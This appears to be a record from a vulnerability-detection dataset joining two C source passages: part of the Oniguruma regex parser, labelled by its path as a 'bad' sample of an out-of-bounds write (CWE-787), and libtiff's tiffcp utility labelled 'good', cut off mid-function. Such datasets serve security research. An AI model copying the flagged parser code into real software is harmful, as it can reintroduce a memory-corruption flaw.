ONIG_OPTION_MULTILINE, neg); } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; #ifdef USE_POSIXLINE_OPTION case 'p': ONOFF(option, ONIG_OPTION_MULTILINE|ONIG_OPTION_SINGLELINE, neg); break; #endif default: return ONIGERR_UNDEFINED_GROUP_OPTION; } if (c == ')') { *np = node_new_option(option); CHECK_NULL_RETURN_MEMERR(*np); *src = p; return 2; /* option only */ } else if (c == ':') { OnigOptionType prev = env->option; env->option = option; r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, &p, end, env); env->option = prev; if (r < 0) { onig_node_free(target); return r; } *np = node_new_option(option); CHECK_NULL_RETURN_MEMERR(*np); NENCLOSE(*np)->target = target; *src = p; return 0; } if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); } } break; default: return ONIGERR_UNDEFINED_GROUP_OPTION; } } else { if (ONIG_IS_OPTION_ON(env->option, ONIG_OPTION_DONT_CAPTURE_GROUP)) goto group; *np = node_new_enclose_memory(env->option, 0); CHECK_NULL_RETURN_MEMERR(*np); num = scan_env_add_mem_entry(env); if (num < 0) return num; NENCLOSE(*np)->regnum = num; } CHECK_NULL_RETURN_MEMERR(*np); r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, &p, end, env); if (r < 0) { onig_node_free(target); return r; } if (NTYPE(*np) == NT_ANCHOR) NANCHOR(*np)->target = target; else { NENCLOSE(*np)->target = target; if (NENCLOSE(*np)->type == ENCLOSE_MEMORY) { /* Don't move this to previous of parse_subexp() */ r = scan_env_set_mem_node(env, NENCLOSE(*np)->regnum, *np); if (r != 0) return r; } } *src = p; return 0; } static const char* PopularQStr[] = { "?", "*", "+", "??", "*?", "+?" }; static const char* ReduceQStr[] = { "", "", "*", "*?", "??", "+ and ??", "+? and ?" }; static int set_quantifier(Node* qnode, Node* target, int group, ScanEnv* env) { QtfrNode* qn; qn = NQTFR(qnode); if (qn->lower == 1 && qn->upper == 1) { return 1; } switch (NTYPE(target)) { case NT_STR: if (! group) { StrNode* sn = NSTR(target); if (str_node_can_be_split(sn, env->enc)) { Node* n = str_node_split_last_char(sn, env->enc); if (IS_NOT_NULL(n)) { qn->target = n; return 2; } } } break; case NT_QTFR: { /* check redundant double repeat. */ /* verbose warn (?:.?)? etc... but not warn (.?)? etc... */ QtfrNode* qnt = NQTFR(target); int nestq_num = popular_quantifier_num(qn); int targetq_num = popular_quantifier_num(qnt); #ifdef USE_WARNING_REDUNDANT_NESTED_REPEAT_OPERATOR if (!IS_QUANTIFIER_BY_NUMBER(qn) && !IS_QUANTIFIER_BY_NUMBER(qnt) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_WARN_REDUNDANT_NESTED_REPEAT)) { UChar buf[WARN_BUFSIZE]; switch(ReduceTypeTable[targetq_num][nestq_num]) { case RQ_ASIS: break; case RQ_DEL: if (onig_verb_warn != onig_null_warn) { onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"redundant nested repeat operator"); (*onig_verb_warn)((char* )buf); } goto warn_exit; break; default: if (onig_verb_warn != onig_null_warn) { onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"nested repeat operator %s and %s was replaced with '%s'", PopularQStr[targetq_num], PopularQStr[nestq_num], ReduceQStr[ReduceTypeTable[targetq_num][nestq_num]]); (*onig_verb_warn)((char* )buf); } goto warn_exit; break; } } warn_exit: #endif if (targetq_num >= 0) { if (nestq_num >= 0) { onig_reduce_nested_quantifier(qnode, target); goto q_exit; } else if (targetq_num == 1 || targetq_num == 2) { /* * or + */ /* (?:a*){n,m}, (?:a+){n,m} => (?:a*){n,n}, (?:a+){n,n} */ if (! IS_REPEAT_INFINITE(qn->upper) && qn->upper > 1 && qn->greedy) { qn->upper = (qn->lower == 0 ? 1 : qn->lower); } } } } break; default: break; } qn->target = target; q_exit: return 0; } #ifndef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS static int clear_not_flag_cclass(CClassNode* cc, OnigEncoding enc) { BBuf *tbuf; int r; if (IS_NCCLASS_NOT(cc)) { bitset_invert(cc->bs); if (! ONIGENC_IS_SINGLEBYTE(enc)) { r = not_code_range_buf(enc, cc->mbuf, &tbuf); if (r != 0) return r; bbuf_free(cc->mbuf); cc->mbuf = tbuf; } NCCLASS_CLEAR_NOT(cc); } return 0; } #endif /* CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS */ typedef struct { ScanEnv* env; CClassNode* cc; Node* alt_root; Node** ptail; } IApplyCaseFoldArg; static int i_apply_case_fold(OnigCodePoint from, OnigCodePoint to[], int to_len, void* arg) { IApplyCaseFoldArg* iarg; ScanEnv* env; CClassNode* cc; BitSetRef bs; iarg = (IApplyCaseFoldArg* )arg; env = iarg->env; cc = iarg->cc; bs = cc->bs; if (to_len == 1) { int is_in = onig_is_code_in_cc(env->enc, from, cc); #ifdef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS if ((is_in != 0 && !IS_NCCLASS_NOT(cc)) || (is_in == 0 && IS_NCCLASS_NOT(cc))) { if (ONIGENC_MBC_MINLEN(env->enc) > 1 || *to >= SINGLE_BYTE_SIZE) { add_code_range(&(cc->mbuf), env, *to, *to); } else { BITSET_SET_BIT(bs, *to); } } #else if (is_in != 0) { if (ONIGENC_MBC_MINLEN(env->enc) > 1 || *to >= SINGLE_BYTE_SIZE) { if (IS_NCCLASS_NOT(cc)) clear_not_flag_cclass(cc, env->enc); add_code_range(&(cc->mbuf), env, *to, *to); } else { if (IS_NCCLASS_NOT(cc)) { BITSET_CLEAR_BIT(bs, *to); } else BITSET_SET_BIT(bs, *to); } } #endif /* CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS */ } else { int r, i, len; UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; Node *snode = NULL_NODE; if (onig_is_code_in_cc(env->enc, from, cc) #ifdef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS && !IS_NCCLASS_NOT(cc) #endif ) { for (i = 0; i < to_len; i++) { len = ONIGENC_CODE_TO_MBC(env->enc, to[i], buf); if (i == 0) { snode = onig_node_new_str(buf, buf + len); CHECK_NULL_RETURN_MEMERR(snode); /* char-class expanded multi-char only compare with string folded at match time. */ NSTRING_SET_AMBIG(snode); } else { r = onig_node_str_cat(snode, buf, buf + len); if (r < 0) { onig_node_free(snode); return r; } } } *(iarg->ptail) = onig_node_new_alt(snode, NULL_NODE); CHECK_NULL_RETURN_MEMERR(*(iarg->ptail)); iarg->ptail = &(NCDR((*(iarg->ptail)))); } } return 0; } static int parse_exp(Node** np, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r, len, group = 0; Node* qn; Node** targetp; *np = NULL; if (tok->type == (enum TokenSyms )term) goto end_of_token; switch (tok->type) { case TK_ALT: case TK_EOT: end_of_token: *np = node_new_empty(); return tok->type; break; case TK_SUBEXP_OPEN: r = parse_enclose(np, tok, TK_SUBEXP_CLOSE, src, end, env); if (r < 0) return r; if (r == 1) group = 1; else if (r == 2) { /* option only */ Node* target; OnigOptionType prev = env->option; env->option = NENCLOSE(*np)->option; r = fetch_token(tok, src, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, src, end, env); env->option = prev; if (r < 0) { onig_node_free(target); return r; } NENCLOSE(*np)->target = target; return tok->type; } break; case TK_SUBEXP_CLOSE: if (! IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_UNMATCHED_CLOSE_SUBEXP)) return ONIGERR_UNMATCHED_CLOSE_PARENTHESIS; if (tok->escaped) goto tk_raw_byte; else goto tk_byte; break; case TK_STRING: tk_byte: { *np = node_new_str(tok->backp, *src); CHECK_NULL_RETURN_MEMERR(*np); while (1) { r = fetch_token(tok, src, end, env); if (r < 0) return r; if (r != TK_STRING) break; r = onig_node_str_cat(*np, tok->backp, *src); if (r < 0) return r; } string_end: targetp = np; goto repeat; } break; case TK_RAW_BYTE: tk_raw_byte: { *np = node_new_str_raw_char((UChar )tok->u.c); CHECK_NULL_RETURN_MEMERR(*np); len = 1; while (1) { if (len >= ONIGENC_MBC_MINLEN(env->enc)) { if (len == enclen(env->enc, NSTR(*np)->s)) {//should not enclen_end() r = fetch_token(tok, src, end, env); NSTRING_CLEAR_RAW(*np); goto string_end; } } r = fetch_token(tok, src, end, env); if (r < 0) return r; if (r != TK_RAW_BYTE) { /* Don't use this, it is wrong for little endian encodings. */ #ifdef USE_PAD_TO_SHORT_BYTE_CHAR int rem; if (len < ONIGENC_MBC_MINLEN(env->enc)) { rem = ONIGENC_MBC_MINLEN(env->enc) - len; (void )node_str_head_pad(NSTR(*np), rem, (UChar )0); if (len + rem == enclen(env->enc, NSTR(*np)->s)) { NSTRING_CLEAR_RAW(*np); goto string_end; } } #endif return ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; } r = node_str_cat_char(*np, (UChar )tok->u.c); if (r < 0) return r; len++; } } break; case TK_CODE_POINT: { UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; int num = ONIGENC_CODE_TO_MBC(env->enc, tok->u.code, buf); if (num < 0) return num; #ifdef NUMBERED_CHAR_IS_NOT_CASE_AMBIG *np = node_new_str_raw(buf, buf + num); #else *np = node_new_str(buf, buf + num); #endif CHECK_NULL_RETURN_MEMERR(*np); } break; case TK_QUOTE_OPEN: { OnigCodePoint end_op[2]; UChar *qstart, *qend, *nextp; end_op[0] = (OnigCodePoint )MC_ESC(env->syntax); end_op[1] = (OnigCodePoint )'E'; qstart = *src; qend = find_str_position(end_op, 2, qstart, end, &nextp, env->enc); if (IS_NULL(qend)) { nextp = qend = end; } *np = node_new_str(qstart, qend); CHECK_NULL_RETURN_MEMERR(*np); *src = nextp; } break; case TK_CHAR_TYPE: { switch (tok->u.prop.ctype) { case ONIGENC_CTYPE_WORD: *np = node_new_ctype(tok->u.prop.ctype, tok->u.prop.not); CHECK_NULL_RETURN_MEMERR(*np); break; case ONIGENC_CTYPE_SPACE: case ONIGENC_CTYPE_DIGIT: case ONIGENC_CTYPE_XDIGIT: { CClassNode* cc; *np = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(*np); cc = NCCLASS(*np); add_ctype_to_cc(cc, tok->u.prop.ctype, 0, env); if (tok->u.prop.not != 0) NCCLASS_SET_NOT(cc); } break; default: return ONIGERR_PARSER_BUG; break; } } break; case TK_CHAR_PROPERTY: r = parse_char_property(np, tok, src, end, env); if (r != 0) return r; break; case TK_CC_OPEN: { CClassNode* cc; r = parse_char_class(np, tok, src, end, env); if (r != 0) return r; cc = NCCLASS(*np); if (IS_IGNORECASE(env->option)) { IApplyCaseFoldArg iarg; iarg.env = env; iarg.cc = cc; iarg.alt_root = NULL_NODE; iarg.ptail = &(iarg.alt_root); r = ONIGENC_APPLY_ALL_CASE_FOLD(env->enc, env->case_fold_flag, i_apply_case_fold, &iarg); if (r != 0) { onig_node_free(iarg.alt_root); return r; } if (IS_NOT_NULL(iarg.alt_root)) { Node* work = onig_node_new_alt(*np, iarg.alt_root); if (IS_NULL(work)) { onig_node_free(iarg.alt_root); return ONIGERR_MEMORY; } *np = work; } } } break; case TK_ANYCHAR: *np = node_new_anychar(); CHECK_NULL_RETURN_MEMERR(*np); break; case TK_ANYCHAR_ANYTIME: *np = node_new_anychar(); CHECK_NULL_RETURN_MEMERR(*np); qn = node_new_quantifier(0, REPEAT_INFINITE, 0); CHECK_NULL_RETURN_MEMERR(qn); NQTFR(qn)->target = *np; *np = qn; break; case TK_BACKREF: len = tok->u.backref.num; *np = node_new_backref(len, (len > 1 ? tok->u.backref.refs : &(tok->u.backref.ref1)), tok->u.backref.by_name, #ifdef USE_BACKREF_WITH_LEVEL tok->u.backref.exist_level, tok->u.backref.level, #endif env); CHECK_NULL_RETURN_MEMERR(*np); break; #ifdef USE_SUBEXP_CALL case TK_CALL: { int gnum = tok->u.call.gnum; if (gnum < 0) { gnum = BACKREF_REL_TO_ABS(gnum, env); if (gnum <= 0) return ONIGERR_INVALID_BACKREF; } *np = node_new_call(tok->u.call.name, tok->u.call.name_end, gnum); CHECK_NULL_RETURN_MEMERR(*np); env->num_call++; } break; #endif case TK_ANCHOR: *np = onig_node_new_anchor(tok->u.anchor); break; case TK_OP_REPEAT: case TK_INTERVAL: if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_CONTEXT_INDEP_REPEAT_OPS)) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_CONTEXT_INVALID_REPEAT_OPS)) return ONIGERR_TARGET_OF_REPEAT_OPERATOR_NOT_SPECIFIED; else *np = node_new_empty(); } else { goto tk_byte; } break; default: return ONIGERR_PARSER_BUG; break; } { targetp = np; re_entry: r = fetch_token(tok, src, end, env); if (r < 0) return r; repeat: if (r == TK_OP_REPEAT || r == TK_INTERVAL) { if (is_invalid_quantifier_target(*targetp)) return ONIGERR_TARGET_OF_REPEAT_OPERATOR_INVALID; qn = node_new_quantifier(tok->u.repeat.lower, tok->u.repeat.upper, (r == TK_INTERVAL ? 1 : 0)); CHECK_NULL_RETURN_MEMERR(qn); NQTFR(qn)->greedy = tok->u.repeat.greedy; r = set_quantifier(qn, *targetp, group, env); if (r < 0) { onig_node_free(qn); return r; } if (tok->u.repeat.possessive != 0) { Node* en; en = node_new_enclose(ENCLOSE_STOP_BACKTRACK); if (IS_NULL(en)) { onig_node_free(qn); return ONIGERR_MEMORY; } NENCLOSE(en)->target = qn; qn = en; } if (r == 0) { *targetp = qn; } else if (r == 1) { onig_node_free(qn); } else if (r == 2) { /* split case: /abc+/ */ Node *tmp; *targetp = node_new_list(*targetp, NULL); if (IS_NULL(*targetp)) { onig_node_free(qn); return ONIGERR_MEMORY; } tmp = NCDR(*targetp) = node_new_list(qn, NULL); if (IS_NULL(tmp)) { onig_node_free(qn); return ONIGERR_MEMORY; } targetp = &(NCAR(tmp)); } goto re_entry; } } return r; } static int parse_branch(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r; Node *node, **headp; *top = NULL; r = parse_exp(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (r == TK_EOT || r == term || r == TK_ALT) { *top = node; } else { *top = node_new_list(node, NULL); headp = &(NCDR(*top)); while (r != TK_EOT && r != term && r != TK_ALT) { r = parse_exp(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (NTYPE(node) == NT_LIST) { *headp = node; while (IS_NOT_NULL(NCDR(node))) node = NCDR(node); headp = &(NCDR(node)); } else { *headp = node_new_list(node, NULL); headp = &(NCDR(*headp)); } } } return r; } /* term_tok: TK_EOT or TK_SUBEXP_CLOSE */ static int parse_subexp(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r; Node *node, **headp; *top = NULL; env->parse_depth++; if (env->parse_depth > ParseDepthLimit) return ONIGERR_PARSE_DEPTH_LIMIT_OVER; r = parse_branch(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (r == term) { *top = node; } else if (r == TK_ALT) { *top = onig_node_new_alt(node, NULL); headp = &(NCDR(*top)); while (r == TK_ALT) { r = fetch_token(tok, src, end, env); if (r < 0) return r; r = parse_branch(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } *headp = onig_node_new_alt(node, NULL); headp = &(NCDR(*headp)); } if (tok->type != (enum TokenSyms )term) goto err; } else { onig_node_free(node); err: if (term == TK_SUBEXP_CLOSE) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; else return ONIGERR_PARSER_BUG; } env->parse_depth--; return r; } static int parse_regexp(Node** top, UChar** src, UChar* end, ScanEnv* env) { int r; OnigToken tok; r = fetch_token(&tok, src, end, env); if (r < 0) return r; r = parse_subexp(top, &tok, TK_EOT, src, end, env); if (r < 0) return r; return 0; } extern int onig_parse_make_tree(Node** root, const UChar* pattern, const UChar* end, regex_t* reg, ScanEnv* env) { int r; UChar* p; #ifdef USE_NAMED_GROUP names_clear(reg); #endif scan_env_clear(env); env->option = reg->options; env->case_fold_flag = reg->case_fold_flag; env->enc = reg->enc; env->syntax = reg->syntax; env->pattern = (UChar* )pattern; env->pattern_end = (UChar* )end; env->reg = reg; *root = NULL; if (! ONIGENC_IS_VALID_MBC_STRING(env->enc, pattern, end)) return ONIGERR_INVALID_WIDE_CHAR_VALUE; p = (UChar* )pattern; r = parse_regexp(root, &p, (UChar* )end, env); reg->num_mem = env->num_mem; return r; } extern void onig_scan_env_set_error_string(ScanEnv* env, int ecode ARG_UNUSED, UChar* arg, UChar* arg_end) { env->error = arg; env->error_end = arg_end; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3374_0
crossvul-cpp_data_good_5482_1
/* $Id$ */ /* * Copyright (c) 1988-1997 Sam Leffler * Copyright (c) 1991-1997 Silicon Graphics, Inc. * * Revised: 2/18/01 BAR -- added syntax for extracting single images from * multi-image TIFF files. * * New syntax is: sourceFileName,image# * * image# ranges from 0..<n-1> where n is the # of images in the file. * There may be no white space between the comma and the filename or * image number. * * Example: tiffcp source.tif,1 destination.tif * * Copies the 2nd image in source.tif to the destination. * ***** * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tif_config.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <assert.h> #ifdef HAVE_UNISTD_H # include <unistd.h> #endif #include "tiffio.h" #ifndef HAVE_GETOPT extern int getopt(int, char**, char*); #endif #if defined(VMS) # define unlink delete #endif #define streq(a,b) (strcmp(a,b) == 0) #define strneq(a,b,n) (strncmp(a,b,n) == 0) #define TRUE 1 #define FALSE 0 static int outtiled = -1; static uint32 tilewidth; static uint32 tilelength; static uint16 config; static uint16 compression; static uint16 predictor; static int preset; static uint16 fillorder; static uint16 orientation; static uint32 rowsperstrip; static uint32 g3opts; static int ignore = FALSE; /* if true, ignore read errors */ static uint32 defg3opts = (uint32) -1; static int quality = 75; /* JPEG quality */ static int jpegcolormode = JPEGCOLORMODE_RGB; static uint16 defcompression = (uint16) -1; static uint16 defpredictor = (uint16) -1; static int defpreset = -1; static int tiffcp(TIFF*, TIFF*); static int processCompressOptions(char*); static void usage(void); static char comma = ','; /* (default) comma separator character */ static TIFF* bias = NULL; static int pageNum = 0; static int pageInSeq = 0; static int nextSrcImage (TIFF *tif, char **imageSpec) /* seek to the next image specified in *imageSpec returns 1 if success, 0 if no more images to process *imageSpec=NULL if subsequent images should be processed in sequence */ { if (**imageSpec == comma) { /* if not @comma, we've done all images */ char *start = *imageSpec + 1; tdir_t nextImage = (tdir_t)strtol(start, imageSpec, 0); if (start == *imageSpec) nextImage = TIFFCurrentDirectory (tif); if (**imageSpec) { if (**imageSpec == comma) { /* a trailing comma denotes remaining images in sequence */ if ((*imageSpec)[1] == '\0') *imageSpec = NULL; }else{ fprintf (stderr, "Expected a %c separated image # list after %s\n", comma, TIFFFileName (tif)); exit (-4); /* syntax error */ } } if (TIFFSetDirectory (tif, nextImage)) return 1; fprintf (stderr, "%s%c%d not found!\n", TIFFFileName(tif), comma, (int) nextImage); } return 0; } static TIFF* openSrcImage (char **imageSpec) /* imageSpec points to a pointer to a filename followed by optional ,image#'s Open the TIFF file and assign *imageSpec to either NULL if there are no images specified, or a pointer to the next image number text */ { TIFF *tif; char *fn = *imageSpec; *imageSpec = strchr (fn, comma); if (*imageSpec) { /* there is at least one image number specifier */ **imageSpec = '\0'; tif = TIFFOpen (fn, "r"); /* but, ignore any single trailing comma */ if (!(*imageSpec)[1]) {*imageSpec = NULL; return tif;} if (tif) { **imageSpec = comma; /* replace the comma */ if (!nextSrcImage(tif, imageSpec)) { TIFFClose (tif); tif = NULL; } } }else tif = TIFFOpen (fn, "r"); return tif; } int main(int argc, char* argv[]) { uint16 defconfig = (uint16) -1; uint16 deffillorder = 0; uint32 deftilewidth = (uint32) -1; uint32 deftilelength = (uint32) -1; uint32 defrowsperstrip = (uint32) 0; uint64 diroff = 0; TIFF* in; TIFF* out; char mode[10]; char* mp = mode; int c; #if !HAVE_DECL_OPTARG extern int optind; extern char* optarg; #endif *mp++ = 'w'; *mp = '\0'; while ((c = getopt(argc, argv, ",:b:c:f:l:o:p:r:w:aistBLMC8x")) != -1) switch (c) { case ',': if (optarg[0] != '=') usage(); comma = optarg[1]; break; case 'b': /* this file is bias image subtracted from others */ if (bias) { fputs ("Only 1 bias image may be specified\n", stderr); exit (-2); } { uint16 samples = (uint16) -1; char **biasFn = &optarg; bias = openSrcImage (biasFn); if (!bias) exit (-5); if (TIFFIsTiled (bias)) { fputs ("Bias image must be organized in strips\n", stderr); exit (-7); } TIFFGetField(bias, TIFFTAG_SAMPLESPERPIXEL, &samples); if (samples != 1) { fputs ("Bias image must be monochrome\n", stderr); exit (-7); } } break; case 'a': /* append to output */ mode[0] = 'a'; break; case 'c': /* compression scheme */ if (!processCompressOptions(optarg)) usage(); break; case 'f': /* fill order */ if (streq(optarg, "lsb2msb")) deffillorder = FILLORDER_LSB2MSB; else if (streq(optarg, "msb2lsb")) deffillorder = FILLORDER_MSB2LSB; else usage(); break; case 'i': /* ignore errors */ ignore = TRUE; break; case 'l': /* tile length */ outtiled = TRUE; deftilelength = atoi(optarg); break; case 'o': /* initial directory offset */ diroff = strtoul(optarg, NULL, 0); break; case 'p': /* planar configuration */ if (streq(optarg, "separate")) defconfig = PLANARCONFIG_SEPARATE; else if (streq(optarg, "contig")) defconfig = PLANARCONFIG_CONTIG; else usage(); break; case 'r': /* rows/strip */ defrowsperstrip = atol(optarg); break; case 's': /* generate stripped output */ outtiled = FALSE; break; case 't': /* generate tiled output */ outtiled = TRUE; break; case 'w': /* tile width */ outtiled = TRUE; deftilewidth = atoi(optarg); break; case 'B': *mp++ = 'b'; *mp = '\0'; break; case 'L': *mp++ = 'l'; *mp = '\0'; break; case 'M': *mp++ = 'm'; *mp = '\0'; break; case 'C': *mp++ = 'c'; *mp = '\0'; break; case '8': *mp++ = '8'; *mp = '\0'; break; case 'x': pageInSeq = 1; break; case '?': usage(); /*NOTREACHED*/ } if (argc - optind < 2) usage(); out = TIFFOpen(argv[argc-1], mode); if (out == NULL) return (-2); if ((argc - optind) == 2) pageNum = -1; for (; optind < argc-1 ; optind++) { char *imageCursor = argv[optind]; in = openSrcImage (&imageCursor); if (in == NULL) { (void) TIFFClose(out); return (-3); } if (diroff != 0 && !TIFFSetSubDirectory(in, diroff)) { TIFFError(TIFFFileName(in), "Error, setting subdirectory at " TIFF_UINT64_FORMAT, diroff); (void) TIFFClose(in); (void) TIFFClose(out); return (1); } for (;;) { config = defconfig; compression = defcompression; predictor = defpredictor; preset = defpreset; fillorder = deffillorder; rowsperstrip = defrowsperstrip; tilewidth = deftilewidth; tilelength = deftilelength; g3opts = defg3opts; if (!tiffcp(in, out) || !TIFFWriteDirectory(out)) { (void) TIFFClose(in); (void) TIFFClose(out); return (1); } if (imageCursor) { /* seek next image directory */ if (!nextSrcImage(in, &imageCursor)) break; }else if (!TIFFReadDirectory(in)) break; } (void) TIFFClose(in); } (void) TIFFClose(out); return (0); } static void processZIPOptions(char* cp) { if ( (cp = strchr(cp, ':')) ) { do { cp++; if (isdigit((int)*cp)) defpredictor = atoi(cp); else if (*cp == 'p') defpreset = atoi(++cp); else usage(); } while( (cp = strchr(cp, ':')) ); } } static void processG3Options(char* cp) { if( (cp = strchr(cp, ':')) ) { if (defg3opts == (uint32) -1) defg3opts = 0; do { cp++; if (strneq(cp, "1d", 2)) defg3opts &= ~GROUP3OPT_2DENCODING; else if (strneq(cp, "2d", 2)) defg3opts |= GROUP3OPT_2DENCODING; else if (strneq(cp, "fill", 4)) defg3opts |= GROUP3OPT_FILLBITS; else usage(); } while( (cp = strchr(cp, ':')) ); } } static int processCompressOptions(char* opt) { if (streq(opt, "none")) { defcompression = COMPRESSION_NONE; } else if (streq(opt, "packbits")) { defcompression = COMPRESSION_PACKBITS; } else if (strneq(opt, "jpeg", 4)) { char* cp = strchr(opt, ':'); defcompression = COMPRESSION_JPEG; while( cp ) { if (isdigit((int)cp[1])) quality = atoi(cp+1); else if (cp[1] == 'r' ) jpegcolormode = JPEGCOLORMODE_RAW; else usage(); cp = strchr(cp+1,':'); } } else if (strneq(opt, "g3", 2)) { processG3Options(opt); defcompression = COMPRESSION_CCITTFAX3; } else if (streq(opt, "g4")) { defcompression = COMPRESSION_CCITTFAX4; } else if (strneq(opt, "lzw", 3)) { char* cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_LZW; } else if (strneq(opt, "zip", 3)) { processZIPOptions(opt); defcompression = COMPRESSION_ADOBE_DEFLATE; } else if (strneq(opt, "lzma", 4)) { processZIPOptions(opt); defcompression = COMPRESSION_LZMA; } else if (strneq(opt, "jbig", 4)) { defcompression = COMPRESSION_JBIG; } else if (strneq(opt, "sgilog", 6)) { defcompression = COMPRESSION_SGILOG; } else return (0); return (1); } char* stuff[] = { "usage: tiffcp [options] input... output", "where options are:", " -a append to output instead of overwriting", " -o offset set initial directory offset", " -p contig pack samples contiguously (e.g. RGBRGB...)", " -p separate store samples separately (e.g. RRR...GGG...BBB...)", " -s write output in strips", " -t write output in tiles", " -x force the merged tiff pages in sequence", " -8 write BigTIFF instead of default ClassicTIFF", " -B write big-endian instead of native byte order", " -L write little-endian instead of native byte order", " -M disable use of memory-mapped files", " -C disable strip chopping", " -i ignore read errors", " -b file[,#] bias (dark) monochrome image to be subtracted from all others", " -,=% use % rather than , to separate image #'s (per Note below)", "", " -r # make each strip have no more than # rows", " -w # set output tile width (pixels)", " -l # set output tile length (pixels)", "", " -f lsb2msb force lsb-to-msb FillOrder for output", " -f msb2lsb force msb-to-lsb FillOrder for output", "", " -c lzw[:opts] compress output with Lempel-Ziv & Welch encoding", " -c zip[:opts] compress output with deflate encoding", " -c lzma[:opts] compress output with LZMA2 encoding", " -c jpeg[:opts] compress output with JPEG encoding", " -c jbig compress output with ISO JBIG encoding", " -c packbits compress output with packbits encoding", " -c g3[:opts] compress output with CCITT Group 3 encoding", " -c g4 compress output with CCITT Group 4 encoding", " -c sgilog compress output with SGILOG encoding", " -c none use no compression algorithm on output", "", "Group 3 options:", " 1d use default CCITT Group 3 1D-encoding", " 2d use optional CCITT Group 3 2D-encoding", " fill byte-align EOL codes", "For example, -c g3:2d:fill to get G3-2D-encoded data with byte-aligned EOLs", "", "JPEG options:", " # set compression quality level (0-100, default 75)", " r output color image as RGB rather than YCbCr", "For example, -c jpeg:r:50 to get JPEG-encoded RGB data with 50% comp. quality", "", "LZW, Deflate (ZIP) and LZMA2 options:", " # set predictor value", " p# set compression level (preset)", "For example, -c lzw:2 to get LZW-encoded data with horizontal differencing,", "-c zip:3:p9 for Deflate encoding with maximum compression level and floating", "point predictor.", "", "Note that input filenames may be of the form filename,x,y,z", "where x, y, and z specify image numbers in the filename to copy.", "example: tiffcp -c none -b esp.tif,1 esp.tif,0 test.tif", " subtract 2nd image in esp.tif from 1st yielding uncompressed result test.tif", NULL }; static void usage(void) { char buf[BUFSIZ]; int i; setbuf(stderr, buf); fprintf(stderr, "%s\n\n", TIFFGetVersion()); for (i = 0; stuff[i] != NULL; i++) fprintf(stderr, "%s\n", stuff[i]); exit(-1); } #define CopyField(tag, v) \ if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v) #define CopyField2(tag, v1, v2) \ if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2) #define CopyField3(tag, v1, v2, v3) \ if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3) #define CopyField4(tag, v1, v2, v3, v4) \ if (TIFFGetField(in, tag, &v1, &v2, &v3, &v4)) TIFFSetField(out, tag, v1, v2, v3, v4) static void cpTag(TIFF* in, TIFF* out, uint16 tag, uint16 count, TIFFDataType type) { switch (type) { case TIFF_SHORT: if (count == 1) { uint16 shortv; CopyField(tag, shortv); } else if (count == 2) { uint16 shortv1, shortv2; CopyField2(tag, shortv1, shortv2); } else if (count == 4) { uint16 *tr, *tg, *tb, *ta; CopyField4(tag, tr, tg, tb, ta); } else if (count == (uint16) -1) { uint16 shortv1; uint16* shortav; CopyField2(tag, shortv1, shortav); } break; case TIFF_LONG: { uint32 longv; CopyField(tag, longv); } break; case TIFF_RATIONAL: if (count == 1) { float floatv; CopyField(tag, floatv); } else if (count == (uint16) -1) { float* floatav; CopyField(tag, floatav); } break; case TIFF_ASCII: { char* stringv; CopyField(tag, stringv); } break; case TIFF_DOUBLE: if (count == 1) { double doublev; CopyField(tag, doublev); } else if (count == (uint16) 